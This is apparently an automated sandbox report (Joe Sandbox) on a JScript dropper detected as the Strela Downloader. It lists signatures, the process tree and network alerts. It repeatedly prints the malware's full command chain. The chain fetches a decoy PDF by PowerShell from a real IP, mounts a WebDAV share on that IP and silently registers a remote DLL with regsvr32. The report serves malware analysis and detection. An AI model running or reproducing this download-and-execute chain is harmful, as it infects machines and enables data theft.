Edit tour

Windows Analysis Report
1238420799116328606.js

Overview

General Information

Sample name:	1238420799116328606.js
Analysis ID:	1588328
MD5:	971a605376e63fe3065404969f1ca5e7
SHA1:	3a9bb9b05d7c8dccc553f2b0771e4e71430c1071
SHA256:	3ae8113edf63fbbf55584eb26b875ef6f733054dd050680beb955b79b2b07971
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2796 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6720 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1512 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1748 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1764,i,8655172441817396170,12315927752644769681,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1352 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5260 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6444 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2796	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6720, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6720, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ProcessId: 2796, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5260, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49722

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 6720, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 6720, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 6720, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 6720, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 6720, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 6720, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ProcessId: 2796, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6720, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1512, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5260, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6444, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5260, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll, ProcessId: 6720, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:06:05.869215+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:06:08.240568+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49722	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:06:05.869215+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1238420799116328606.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1238420799116328606.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49722 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:06:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 